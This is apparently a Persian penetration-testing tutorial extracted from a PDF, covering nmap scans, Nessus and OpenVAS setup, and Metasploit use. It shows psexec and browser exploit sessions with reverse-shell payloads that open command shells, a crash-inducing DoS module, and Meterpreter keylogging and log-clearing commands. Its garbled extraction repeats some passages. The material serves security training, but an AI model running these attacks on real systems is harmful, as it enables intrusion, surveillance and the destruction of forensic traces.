Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-28 05:10 CDT

Interesting ports on 192.168.10.200:

Not shown: 1665 closed ports

HN
Text Box
www.SoftGozar.Com
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PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd 5.0

25/tcp open smtp Microsoft ESMTP 5.0.2195.6713

80/tcp open http Microsoft IIS webserver 5.0

119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702 (posting ok)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds

1025/tcp open mstask Microsoft mstask

1026/tcp open msrpc Microsoft Windows RPC

1027/tcp open msrpc Microsoft Windows RPC

1755/tcp open wms?

3372/tcp open msdtc?

6666/tcp open nsunicast Microsoft Windows Media Unicast Service (nsum.exe)

Nmap finished: 1 IP address (1 host up) scanned in 63.311 seconds

:Amapاستفاده از )2

.پورت خاصی در حال اجراستبراي دیدن برنامه هایی که بر روي 

:دستور زیر

amap -bq 192.168.10.200 200-300

:نتیجه

amap v5.4 (www.thc.org/thc-amap) started at 2012-03-28 06:05:30 - MAPPING mode

Protocol on 127.0.0.1:212/tcp matches ssh - banner: SSH-2.0- OpenSSH_3.9p1\n

Protocol on 127.0.0.1:212/tcp matches ssh-openssh - banner: SSH-2.0-OpenSSH_3.9p1\n
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amap v5.0 finished at 2005-07-14 23:02:11

:فصلسایت هاي  کابردي 
http://www.cyberciti.biz/networking/nmap-command-examples-tutorials/
http://nmap.org/book/vscan-examples.html
http://nmap.org/book/install.html
http://www.youtube.com/watch?v=Bfla9NQrJAc
http://www.youtube.com/watch?v=ZTbLyZZbilA
http://www.youtube.com/watch?v=RAOHmrtaimU

:یعال

http://linux.die.net/man/1/nmap

:خرین نسخهآدانلود

http://nmap.org/download.html

.Threat assessment with Maltego: پیگیر این موضوع هم باشید، جالب است:  1پیشنهاد

:سایت این نرم افزار

https://www.paterva.com/web6/community

: مسیر این نرم افزار 

Applications |BackTrack |Information Gathering |Web Application Analysis |Open Source
Analysis |Maltego

with.این هم بدك نیست:  2پیشنهاد casefileMapping the network.

: مسیر برنامه

Applications | BackTrack | Reporting Tools | Evidence Management | casefile.

HN
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چهارمفصل

Vulnerability Identification
:مقدمه

. اي  خاص استیکی از خسته  کننده ترین  قسمت در هکینگ و یا امنیت ، پی بردن و کشف کردن باگ بر روي نقطه 
پس سعی کنید پس از این . مشغول به کارند بسیار کاربردي است"هک قانونمند"ولی این بخش براي دوستانی که در 

.بخش دنبال مطالب قویتر و بروزتر در این بخش باشید

ا جدي پس این فصل ر. شودکنند مشق شب محسوب میشناسایی آسیپ پذیري براي دوستانی که در این عرصه  کار می
در این . توانید راحت تر مشکل خود را حل کنیدسیبی را بشناسید میآبگیرید و سعی کنید در آن بروز باشید و وقتی شما 

.که داراي قابلیت هاي زیادي اندتوضیح خواهیم داد  OpenVASوNessusبه نام هاي ابزار کاربردي2فصل در مورد 

Vulnerabilityچیست؟

: آن عبارت است از جیرافیترجمه شده است و تعر"يریپذبیآس"ای"حفره"ای"نقطه ضعف"به صورت یفارسدر
.استفاده باشدکه قابل سوءيهرگونه ضعف نرم افزار

Vulnerability Scanner چیست؟

Vulnerability.تست کردیتیامنحفره هاياز نظر وجود اشبکه ريوترهایکامپودشین مآاست که به کمک يابزار

Scannerددهیانجام مکیاتوماتمینایکیکار را به صورت اتوماتنیا .

False Positiveست؟یچ

شیوقتها پیلیمورد خنیا. ستیننیچنکهیست در حالاستمیدر سvulکیکه ددهیمصیکه اسکنر تشخيمواردیعنی
Vulیپس وقت. ستینبیهم عجچیو هدیایم ScannerکیVulلذت نبریدهم ادیز،ددهیمصیرو تشخ!

:عبارتند ازسیب پذیري هاآ

1) Linux vulnerabilities

2) Windows vulnerabilities

3) Local security checks

4) Network service vulnerabilities
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Installing, configuring, and starting Nessus:

:nessusلینک دانلود 

system-operating-your-http://www.tenable.com/products/nessus/select

:دستور زیر.1

apt-get install nessus

:در مسیر زیر نصب خواهد شد.2

/opt/nessus

:اجراي آن.3

/etc/init.d/nessusd start

:nessusرجیستر کردن  .4

/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX-XXXX

.ها  وارد کنیدXثبت نام  کنید و کد را به جاي این nessusبراي گرفتن کد رجیستري باید در سایت :نکته

.را هم دانلود کنیدسعی کنید آخرین پلاگین ها
http://plugins.nessus. Org

:یوزر جدید و پسورد بسازید و با آن وارد شویدسپس باید .5

/opt/nessus/sbin/nessus-adduser

:یا از مسیر زیر بروید

Applications | BackTrack | Vulnerability Assessment | Vulnerability Scanners | Nessus | nessus
user add
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:سپس باید نرم افزار را  اجرا کنیم.6

/etc/init.d/nessusd start

HN
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:در مرورگر وارد کنید.7

https://127.0.0.1:8834

:Nessus–finding [network, local, Linux-specific, Windows-specific] vulnerabilities

.Policiesرفتن به )1
.add policyکلیک روي )2
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:کارهاي زیر را انجام دهیدtab (general(در  برگه)3

Localاسم اسکن را بنویسید و  )أ Vulnerabilitiesرا انتخاب کنید.

:دو قسمت داردvisibilityقسمت )ب

a(shared :همه بتوانند از این اسکن استفاده کنند.

b(private :فقط خود شما قادر به دیدن هستید.

.nextکلیک روي )ج

.سیب پذیري انتخاب کنیدآیدا کردن پنوع اسکن را براي پویش و pluginsدر برگه)د

.submitلیک روي یک)ه

:برویدscansسپس به قسمت )و

HN
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:و بقیه موارد را وارد کنیدنآو اسم اسکن و نوع )ز

type scan:

1.run now  : کندغاز میآسریع اسکن را.

2.Scheduled:کنیدزمان و تاریخ تعیین میبراي اجرا شدن.

3.Template:کنیدکند و شما استفاده میبه عنوان قالب ثبت می.

scan target:

Ipرويهاي مورد نظر را وارد کنید وlunch scanکلیک کنید.
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.گزارشی را خواهید دیدشمابعد از اتمام اسکن:1نکته

سفید=infoآبی   =lowزرد=mediumقرمز  =High:  شودسیب ها با  چهار رنگ مشخص میآاین 

کمی فرق دارد، کار کنید plugins:کنید گزیته ها در قسمت هایی مثلبا توجه به نوع آسیبی که انتخاب می:2نکته
.شویده میجمتو

.شهیها استفاده مvul scannerعنوان مکمل بهیاست که به نوعيابزارCGI Scanner: 3نکته

. دینلود و تست کناحتما دنوکسیليرو براNessusو ندوزیويرا براRetina: 4نکته

Installing, configuring, and starting OpenVAS:

:openVASدانلود 
http://www.openvas.org/download.html

:مسیر زیر برویدبه )1

cd /pentest/misc/openvas/

:دستور زیر)2

openvas-mkcert

.عات خواسته شده را وارد کنیدلااطو سپسenterزدن کلید)3

:اجراي دستور)4

openvas-nvt-sync
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:سپس دستورات )5

openvas-mkcert-client -n om -i

و

openvasmd --rebuild

:دستور)6

openvassd

.بارگذاري شونددر اینجا باید صبر کنید تا پلاگین ها : نکته

:دستورات)7

openvasmd --rebuild

openvasmd --backup

:رساخت یوز)8

openvasad -c 'add_user' -n openvasadmin -r admin

یا
openvasad -c 'add_user' -n openvasadmin -r Admin
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:اجراي دستور)9

openvas-adduser

:یوزر  معینساخت یک)10

.اسم براي  لاگین) الف
.پسورد) ب
.تکرار پسورد) پ
.بر روي کیبوردctrl+Dزدن  ) ت
.براي قبول شرطYنوشتن ) ث

:دستورات زیر)11

openvasmd -p 9390 -a 127.0.0.1

openvasad -a 127.0.0.1 -p 9393

gsad --http-only --listen=127.0.0.1 -p 9392

.اجرا کنید13اجرا نکنید، بعد از مرحله را12مرحله  : نکته
:در مرورگرتینهادر)12

http://127.0.0.1:9392
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.بسازیدsh.با پسوند openVASیک فایل با نام)13

:openvas.shبراي ساخت فایل 

:empty fileرا انتخاب کنید و سپس create documentدر دسکتاپ کلیک راست کنید و ) الف

.را بنویسیدنام و پسوند ) ب

:دستورات زیر را در آن کپی کنید) پ

#!/bin/bash

openvas-nvt-sync

openvassd

openvasmd --rebuild

openvasmd --backup

openvasmd -p 9390 -a 127.0.0.1

openvasad -a 127.0.0.1 -p 9393
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gsad --http-only --listen=127.0.0.1 -p 9392

.که این فایل را ساخته رفته و به آن دسترسی بدهیددر ترمینال در جایی )14

: لامث

cd root/Desktop

chmod 777 openvas.sh

:اجراي دستور)15

./openvas.sh

.م شودالازم انجصبر کنید تا دیگر کارهاي

کنید، فایل بالایی را همیشه اجراopenVASکردن قبل از اجرا:  نکته مهم

:روشی دیگر  براي نصب

1(

2(
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3(

4(
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5(

6(
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Using the OpenVAS Desktop:

1) Applications | BackTrack | Vulnerability Assessment | Vulnerability Scanners | OpenVAS |
Start GreenBone Security Desktop

:username ,  password،loopbackوارد کردن)2

127.0.0.1 =loopback



69

:OpenVAS – finding [local, network, Windows, Linux] vulnerabilities

:کردن آدرس زیر در مرورگروارد .1

http://127.0.0.1:9392

.configurationدر زیر بخش Scan configانتخاب .2

.وارد کردن نام اسکن و نوع آسیپ پذیري.3

:baseانتخاب کردن .4

.کنیمخودمان کانفیگ را تنظیم می:  ..,empty, static) الف
.می کندمورد نظر را فعال يتمام آپشن ها:Full and fast)  ب

.create scan configکلیک روي .5

.را بنویسیدlocalبراي سرچ کلمه . اشتیمذگlocalبراي جستجو کردن، چون نوع را ctrl+fفشردن .6
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.ن را بزنیدآرا که مد نظر دارید تیک گزینه هاییSelect all NVT'sسپس در قسمت.7

.save configکلیک روي .8

: targetsو انتخاب configurationرفتن مجدد به بخش .9

.اسم براي تارگت.10

:به سه روشوارد کردن هاست ها.11

a) 192.168.1.20
b) 192.168.1.20,192.168.1.40
c) 192.168.1.10-90
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.create targetکلیک روي .12

را انتخاب کنید که شامل new taskاز این بخش گزینه . scan management: نوشته،configurationدر بالاي .13
:گزیته هاي زیر است

.taskاسم براي ) الف
.نوشتن توضیحات) ب
.نوع اسکن را انتخاب کنید) پ
.نوع تارگت) ت
.create taskو کلیک روي ) ث

.staskو انتخابscan managementرفتن به .14

.ع شدن اسکنرو،  براي ش) play(در نهایت کلیک روي گزینه سبز.15



72

:دیدن نتایج اسکن تعریف شده

.tasksو سپس Scan managementرفتن به .1
. کلیک روي ذره بین.2
.جهت آن رو به پایین استکه"فلش سبز"کلیک روي آیکن .3

:فصلسایت هاي کاربردي
http://www.openvas.org/setup-and-start.html
http://www.openvas.org/install-packages-v5.html#ubuntu
http://packages.ubuntu.com/search?ke...ll&section=all
http://www.back-door.webs.com/Backtr...0Tutorial.html
http://www.openvas.org
http://www.backtrack-linux.org/wiki/index.php/OpenVas
http://www.irongeek.com/i.php?page=videos/nessus
http://www.tenable.com/blog/enabling-nessus-on-backtrack-5-the-official-guide
https://wiki.archlinux.org/index.php/nessus
http://www.admin-magazine.com/Articles/Pen-Test-Tips
http://www.securityfocus.com/tools/category/11
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پنجمفصل

Exploitation
:مقدمه

کدي بنویسید که بتوانید از ان ) حفره(شما باید براي آن باگ. در فصل قبل در مورد پیدا کردن باگ ها صحبت کردیم
کنیم که به عنوان یک چاقوي صحبت میmetasploitدر این فصل در مورد ابزارهایی از قبیل  . براي حمله استفاده کنید

.شودهمه کاره استفاده می

vulnerability:از پنجره یا در یا (سدکه باید از کجا نفوذ کنیدکنیبررسی میشماوقتی اند،منفوذ مثل دزدي می.(...

exploit:سنگ براي شکستن شیشه یا سوزن سر براي باز : مثل (دنفوذ کنین آباهیدخوامیشماکهبه وسایل و ابزاري
...)کردن قفل و 
.شودن براي حمله در نفوذ به تارگت استفاده میآشود و از کدهاي مخربی که نوشته می:تعریف دیگر

payload: اکه وسایل دزدي رگذاریدمیانهوانت پشت خکمثلا ی(ددر نفوذ استفاده کنیهیدخوامیشما به وسایلی که
.)قیمتگرانوسایلوکیسه براي برداشتن طلا هاک یا یدر آن بیاندازید

Payload:اساسی ترین . میزان دسترسی ما را  بعد اجراي موفقیت آمیز اکسپلویت تعیین خواهد کردpayload  ها
:عبارتند از

include VNC injection, file execution, an interactive shell, command execution, DLL injection,

adding a user ,  the Meterpreter

:payloadانواع ماژول هاي  
:شوند دسته تقسیم می3ماژول هاي پیلودي به

single:
را اجرا cal.exeیا یک برنامه مثل. توانند به تنهایی یک یورز ساده به تارگت اضافه کنندمیساده هستند در مفهوم و 

.کنند

Stagers:
.و تارگت برقرار می کنند)حمله کننده(یک کانکشن بین اتکر
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Stages:
.شوندها دانلود میstagersهستند که توسطپیلود ها) جز(اینها اجزاي

,meterpreter:  مثل vnc injectionو.....

:ها  payloadانواع  
:موارد زیر بپردازیدبارهم،  حتما به تحقیق دروشوارد این بحث نمی. برمدر حد آشنایی نام می

Inline
Staged
Meterpreter
PassiveX
NoNX
Ord
IPv6
Reflective DLL injection

Active Exploits :
:یعنی چی؟ با مثال. روي تارگت می ماندتا زمانی که به نتیجه مثبت نرسد،

.شاید جواب ندهدچه زمان؟تا ...ولی این صبر که همیشگی نیست.نقدر صبر می کند تا به نتیجه برسدآبینید که می
: در مثال زیر به جواب رسیدیم

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit
[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
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[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl]
...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
...
...
...
..[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:1073)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system3>

passive exploit:
....وFTP, Web Browserمثل. تمرکز می کنندروي کلاینتهمیشه

ssessionsبحث: که کاملا معروف هست –i

مهندسی "استفاده از  پس باید در این  روش با . مانی که قرباتی کلیک نکند روي لینک یا فایل ما اتفاقی نمی افتدزتا 
web app side attackپیگیر بحث .  عمل نفوذ خود را پیاده سازي کنیم،و گول زدن قربانی براي کلیک"اجتماعی

.باشید

PAYLOAD => windows/shell/reverse_tcp
msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(ani_loadimage_chunksize) > set LPORT 4444
LPORT => 4444
msf exploit(ani_loadimage_chunksize) > exploit
[*] Exploit running as background job.

46[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://192.168.1.101:8080/
[*] Server started.

msf exploit(ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
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[*] Sending HTML page to 192.168.1.104:1077...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to

192.168.1.104:1077...[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.1.101:4444 -> 192.168.1.104:1078)

msf exploit(ani_loadimage_chunksize) > sessions -i 2
[*] Starting interaction with 2...
..
.....
............

:exploitationمسیر ابزارهاي

Applications | BackTrack | Exploitation Tools

Network Exploitation Tools :

Cisco Attacks
Fast-Track
Metasploit Framework

SAP Exploitation

Web Exploitation Tools :

oscanner
fimap
asp-auditoy
sslstrip
websploit
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Database Exploitation Tools :

MSSQL Exploitation Tools
MySQL Exploitation Tools
Oracle Exploitation Tools

Wireless Exploitation Tools :

BlueTooth Exploitation
GSM Exploitation
WLAN Exploitation

Social Engineering Tools :

BeEF XSS Framework
HoneyPots
Social Engineering Toolkit

Physical Exploitation :

Arduino
Kautilya
u3-pwn
videoJAK

Open Source Exploitation :

Exploit-DB
Online Archives

Installing and configuring Metasploitable:

)):نصب متا اسپلویت به تنهایی(( روش اول 
:حداقل سیستم مورد نیاز براي نصب

.وصل بودن به اینترنت براي آپدیت روزانه) الف
).(virtual-pcفضاي لازم براي نصب بر روي  سیستم مجازيGB 10-8) ب
.WinZipیا winrarیا7zipداشتن نرم افزاري مثل  ) پ

:دانلود از مسیر زیر
http://sourceforge.net/projects/metasploitable/files/

:ساخت یک سیستم مجازي)1
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.newکلیک روي )2
.nextکلیک روي )3

:نوشتن اسم و انتخاب نوع سیستم عامل)4
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:مورد نیاز براي این نرم افزارRAMانتخاب )5
.است512MBحداقل  

:انتخاب فایلی که دانلود کردید)6
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:مثل شکل زیر عمل کنید)7

.createدر نهایت کلیک روي )٨

:برنامهstartانتخاب و )9
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)):BT5-R3در نصب متا اسپلویت به عنوان یک برنامه(( روش دوم 

.جوابگو است100%این روش کمی طولانی ولی 

؟  ه اندچرا این روش را مطرح کرد

دهد  دیگر متا اجازه نمیgithubشرکت msfupdate: را نصب کنید و دستور زیر را بنویسیدbtشما وقتی : جواب
که بنده پیدا کردم  privateیا باید به روزترین نسخه آن را نصب کنید یا اینکه از این روش  . پدیت کنیدآاسپلویت را 

.استفاده کنید

.این روش عالی است: نهادیشپ

. در این صورت و اگر خواستید از روش من استفاده کنید. شکل زیر ممکن است براي شما هم آمده باشد2
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:دستور زیر)1
apt-get update
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:دستورات زیر)2
sudo apt-get install git-core -y
sudo apt-get install curl -y
apt-get install libpq-de

sudo apt-get install build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g
zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev
libgdbm-dev ncurses-dev automake libtool bison subversion pkg-config libffi-dev

sudo apt-get -y install \
build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget postgresql \
postgresql-contrib libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev

.در اینجا باید فایل متا را به صورت سورس دانلود کنید)3
.داتلود نکنیدن را آدوباره فایل دانلودي را بعد از دانلود در جایی مناسب نگهدارید تا بعدهااین: نکته

:دانلود کنید200MBحداقل  باید )۴

rm -rf $HOME/metasploit

git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit

:دستورات زیر)5
git clone git://github.com/sstephenson/rbenv.git ~/.rbenv
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echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.profile

echo 'eval "$(rbenv init -)"' >> ~/.profile

84

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.profile

echo 'eval "$(rbenv init -)"' >> ~/.profile

84

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.profile

echo 'eval "$(rbenv init -)"' >> ~/.profile
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:دستورات زیر)6
cd ~/.rbenv/
mkdir plugins
cd ~/.rbenv/plugins
git clone git://github.com/sstephenson/ruby-build.git

هارد نصب کرده يرورولی اگ.یدوکمی دچار مشکل بشاست ممکنVMwareروي. از اینجا به بعد رو دقت کنید:نکته
.ودشباشید راحت نصب می

.کنیدجستجودانلود کنید یا در اینترنت rubyتوانید آن را از سایتشما می.داریم1.3rubyما نیاز به)7
مگابایت10: ـ حداقلمگابایت 20حداکثر : 1.9.3حجم

:دستور زیر
rbenv install 1.9.3-p385

:اگر نصب نشد از سایت زیر دانلود کنید: نکته
www.rubygems.org

rbenv global 1.9.3-p385
rbenv rehash
ruby –v
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:این قسمت ممکن است کمی طول بکشد)8
gem install bundler
rails -v
gem install rails
rails -v

.تغییر دهیدmsf3اسم آن را به نام استدانلود شده metasploitشما با نام rootفولدري که در )9
:به مسیر زیر بروید)10

cd /opt/metasploit

.انجام شودreplaceی کنید و  اجازه دهید عملپفعلی کmsf3س فولدر را رويپس)11
:یعنی اینرا وارد کردید، دستور زیر را بزنید، 10در همین ترمینال که دستور مرحله )12

(cd /opt/metasploit/msf3):

gem install bundle && bundle install

:یک ترمینال جدید باز کنید و مجدد  دستور زیر)13
gem install bundle && bundle install

را نتوانست دانلود کند به سایت زیر بروید و به صورت gemاگر . ها شما در حال نصب است12gemو 11در مراحل 
.دستی دانلود و آن را نصب کنید

www.rubygems.org

:به صورت دستیgemبراي نصب 

gem install name-gem

:لامث

gem install nikoti_girl_1

:به مسیر زیر بروید)14
cd /opt/metasploit/msf3

:دستور)15
bundle install

:دستور زیر)16
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gem update

:در نهایت دستور)17
Msfupdate

87

gem update

:در نهایت دستور)17
Msfupdate

87

gem update

:در نهایت دستور)17
Msfupdate
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:با دستور زیرmetasploitو اجراي )18
./msfconsole

یا

./msfconsole -L

88

:با دستور زیرmetasploitو اجراي )18
./msfconsole

یا

./msfconsole -L

88

:با دستور زیرmetasploitو اجراي )18
./msfconsole

یا

./msfconsole -L
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:Mastering Armitage – the graphical management tool for Metasploit

ه براي این ساخته شد تا کسانی که علاقروارد بازار شد، این  نرم افزاarmitageبا نرم افزاري به نام  metaنسخه جدید 
زیادي دارد در هايکه ایرادستانکته جالب این جا. نیستند فراهم کرد) (command lineدستوري کار با  محیطمند

ممکن armitageگیرید، اما با کنید و با موفقیت دسترسی میپیاده سازي میmetaحین کار شما  یک  حمله را با 
.کار کنیدmetaدر بیشتر مواقع این مشکل هست، پس سعی کنید با خود . شودfailدسترسی شما 

:armitageشروع کار با  
:مسیر زیر
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Applications | BackTrack | Exploitation Tools | Network Exploitation Tools | Metasploit
Framework | armitage

:زیر در ترمینالیا دستور

armitage

.connectکلیک روي 

:در صورت داشتن مشکل به سایت زیر بروید

http://www.fastandeasyhacking.com/start
http://www.fastandeasyhacking.com

.yesکلیک روي 
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:بعد از وارد شدن شما باید بدانید هر بخش براي چه کاري است

:A استاین ناحیه مربوط به ماژول هاي از پیش تعیین شده.
:Bنمایش تارگت هاي مورد نظر ما.
:Cمثل. دهیمدر این قسمت ما کارهاي اصلی خودمان را انجام میmterpreter console-session metasploit

Mastering the Metasploit Console (MSFCONSOLE):
consoleن، کار با نرم افزار متا اسپلویت اما این بار در محیط آ، روشی دیگر وجود دارد که armitageبعد از روش کار با 

.ن استآ
:توان انجام داد از قبیلدر این محیط کارهاي زیادي می

مدیریت دیتابیس) الف
.مدیریت جلسه ها) ب
.metasploitماژول هاي  کانفیگ ) پ

.....و
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:مراحل کار به شکل زیر است
.تیدستور زیر در ترمینال ، براي بالا آمدن متااسپلو.1

msfconsole

:در صورت اجرا نشدن دستور بالا به مسیر زیر بروید: نکته
cd /opt/metasploit/msf3

.را اجرا کنیدmsfconsoleسپس دستور 
:بعد از وارد شدن چنین متنی را میبینید

msf>

:metasploitتوضیحات مختصري از دستورات داخلی  .2

help :چگونگی کار با دستورات را توضیح میدهد.

use :ن را کانفیگ کنیمآو . باعث میشود ما بتوانیم از یک ماژول استفاده کنیم.

:setتنظیم کردنOptionبا توجه به ماژول انتخاب شده در بالا.

: exploitاجرا کردن ماژول ما.

run :یکاجرا کردن.non-exploit module

search :گشتن و جستجو.

exit :به طور کامل(خارج شدن از متا.(

:پیدا کردن ماژول هایی که  نام آنها  لینوکس است: یک مثال

msf> search linux
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:استفاده ماژولنحوه

use auxiliary/analyzse/jtr_linux

.شوداستفاده میLinux password crackerاز این ماژول براي 

:دستور زیر

show options

.شودسپس تنظیمات متناسب با این ماژول براي ما ظاهر می
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:سپس دستور زیر
set JOHN_PATH /pentest/passwords/john

.شودرد استفاده میفبراي اضافه کردن ماژولی منحصر به 
:در نهایت دستور زیر

exploit

.استفاده کنیدpayloadشما براي دسترسی گرفتن از یک هاست حتما باید از یک :  1نکته مهم

.مورد نظر را  اضافه کنیدpayloadمیتوانید setبا دستور :  2نکته مهم

Mastering the Metasploit CLI (MSFCLI):

مثل یک واسط MSFCLIدارد، ) interface(متا براي اینکه وظیفه و عملکرد درستی از خود نشان دهد نیاز به یک واسط
.کندعمل می

.خواندن اکسپلویت هاي  جدید/براي شما محسوب مشیود در راستاي نوشتناین واسطی خوبی 
.توانید یک شل را باز کنیددر یک زمان شما فقط می:1نکته

.و هم پیجیده تر استکمی کند است msfconsoleنسبت بهنآعملکرد :2نکته
:MSFCLIدستورات 

:دستور

msfcli

.استMSFCLIدهد که متصل به که لیستی از اکسپلویت هاي در دسترس را در اختیار شما عزیزان قرار می
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: دستور توضیحاتی 
msfcli –h

:Aآرگومان 
/opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas A

.معلوم شوداگذاشتیم تا جزییات دقیق براي مراAخر همآدر 
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:Sآرگومان 

/opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas S

.نسبت به روش بالا.این بهتري راه هست. را گذاشتیم تا مجموع را به طور خلاصه ببینیمSخر همآدر 

:Oآرگومان 
/opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas O

.ید را ببینیمآبه کار می exploitهایی را که براي اینoptionsاستفاده کریم تاOخر ازآدر 
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:Eآرگومان 

/opt/metasploit/msf3/msfcli auxiliary/scanner/portscan/xmas E

.اکسپلویت خودمان را اجرا می کنیمEبا

Mastering Meterpreter:
در اینجا در مورد دستورات . شما بعد از دسترسی گرفتن از تارگت باید کارهایی را با توجه به میزان دسترسی انجام دهید

.توضیحی خواهم داد
: دستورات زیر

:helpکندکه مجاز هستید را لیست میتمام دستوراتی.
background :شماودشباعث میsessionایجاد شده را حفظ کنید و به محیطmsfباز گردید.

download:دانلود فایل از سیستم قربانی
:shellفقط براي سري ویندوز هست.

session -i :سوییچ کردن بینsessionهاي به دست امده.
:keyscan_startدزدیدن کلید هاي زده شده.

:keyscan_dumpدیدن کلید هاي زده شده.
:keyscan_stopکلیدهاتوقف دزدیدن.

del: ینم قرباستایل از روي سیفحذف.
:psدیدن پروسه هاي در حال اجرا

clearav : حذفlogهاي به وجود آمده در سیستم قربانی.
: kill 6353 6553کشتن پروسه با شماره
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back:دستور.1

.گردیدبرمییهاوله اگر جایی اشتباه کردید کاملا ب
:مثال

msf auxiliary(ms09_001_write) > back
msf >

:checkدستور.2
.ست یا خیراموجودیا حفرهآکنیم تا ببینیم استفاده میexploitا انجام دادیم از چک به جايرما بعد از اینکه تنظیمات 

msf exploit(ms04_045_wins) > show options
Name Current Setting Required Description

-------------

RHOST 192.168.1.114 yes The target address
RPORT 42 yes The target port
Exploit target:
Id Name
------------
0 Windows 2000 English
msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)

.قبول نکرد) تارگت مورد نظر(سیستم ما. بینید که نشدمی

:connectدستور.3
.کندعمل میtelnetوnetcatشبیه

msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
ÿýÿýÿý!ÿûÿû
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)

:کنیمبایپس میs-حالا با پارامتر

msf > connect -s www.metasploit.com:443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0
HTTP/1.1 302 Found
Date: Sat, 25 Jul 2009 05:03:42 GMT
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Server: Apache/2.2.11
Location: http://www.metasploit.org/

:runوexploitدستور.4
.استبهترrunاستفاده کردید,auxiliary moduleو براي اینکه اگر از یکexploitبراي اجراي اکسپلویت از دستور

msf auxiliary(ms09_001_write) > run
Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
35
...snip...

:irbدستور.5
.توانیم اسکریپت هاي متا اسپلوییتی بنویسیمبا این دستور ما می

.که عالی هم هستframeworkبراي ارتباط با

msf > irb
[*] Starting IRB shell...

>> puts "Hello, metasploit!"
Hello, metasploit!

>> Framework::Version
=> "3.3-dev"

>> framework.modules.keys.length
=>744

jobs :دستور.6

:یمهولی باید آرگومنت پاس بدmsfخاتمه دادن به هر چیزي که در حال اجرا است در
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:تنظیمات.7
-K : تمامjobبنددمی(دهدها را خاتمه می.(
-k  : یکjobبر اساس اسم آن.(بنددخاصی را که مد نظر داریم میjob.(
-i :لیست تمامjobدهدرا میها.

:loadدستور
..را به ما می دهدپلاگین هایی که در شاخه پلاگین متا اسپلوییت هست 

msf > load
Usage: load [var=val var =val ...]
var=val

: نویسیممورد نظر را میپلاگین ،valجلوي
msf > load pcap_log
[*] Successfully loaded plugin: pcap_log

:unloadستورد.8
.کندپلاگین هاي لود شده را پاك می

msf > load pcap_log
[*] Successfully loaded plugin: pcap_log

msf > unload pcap_log
Unloading plugin pcap_log...unloaded.

:routeدستور.9
meterpreter ،routeدر -hرا بنویسید:

add [subnet] [netmask] [gateway]
delete [subnet] [netmask] [gateway]
list

م دسترسی پیدا ستوقتی ما به یک سیاین حمله چیست؟. استفاده کنیمpivotingتوانیم در حمله هاياز این دستور می
.نیمداخل شبکه نفوذ کيبه بقیه سیستم هاتوانیممیکردیم از طریق آن

msf exploit(ms08_067_netapi) > route

Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
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:مثال

msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 2
msf exploit(ms08_067_netapi) > route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- ------- -------
192.168.1.0 255.255.255.0 Session 2

:infoدستور.10
:قبیلازاطلاعاتوردنآدستبه

author and licensing information
Vulnerability (ie: CVE, BID, etc)

:مثال
msf > info dos/windows/smb/ms09_001_write

:نتیجه

Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
Version: 6890
License: Metasploit Framework License (BSD)
Provided by:
j.v.vallejo

